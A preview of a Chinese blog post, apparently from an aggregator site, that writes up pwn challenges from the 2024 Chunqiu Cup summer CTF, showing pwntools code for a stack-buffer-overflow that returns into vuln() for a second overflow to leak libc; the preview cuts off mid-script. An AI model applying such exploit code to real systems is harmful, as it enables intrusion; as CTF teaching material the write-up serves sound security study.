专栏名称: 珂技知识分享
分享自己的安全技术,渗透实例,IT知识,拒绝转载,坚持原创。
目录
相关文章推荐
今天看啥  ›  专栏  ›  珂技知识分享

web选手入门pwn(17) ——2024年春秋杯夏季赛pwn

珂技知识分享  · 公众号  ·  · 2024-08-09 18:00

文章预览

1.    前言 因为沉迷web,所以pwn没时间去做,现在回过头来看pwn题出的挺有意思,也在自己的能力范围之内,如果不做web,pwn应该还是能做出来几题的。 2.    stdout (全缓冲) 给了libc-2.31。 看起来像是基础栈溢出,给了个后门函数,但不是system而是个更大的栈溢出。 偏移量88,但只能写0x60=96,因此必须用vuln()二次溢出。 from pwn import * context.log_level = 'debug' context.arch='amd64' sh = gdb.debug( "./pwn" , "b *vuln\nc" ) #sh = process("./pwn") elf = ELF( "./pwn" ) libc = ELF( "/home/sonomon/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so" ) vuln = 0x40125D payload = "A" *88 + p64(vuln) sh.sendline(payload) sh.interactive() 成功进入vuln() 然后测出偏移量是39这个奇怪的数值,这是因为用了sendline,换成send来溢出,成功泄露libc。 from pwn import * context.log_level = 'debug' context.arch='amd64' #sh = gdb.debug("./pwn","b *vuln\nc") sh = pr ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览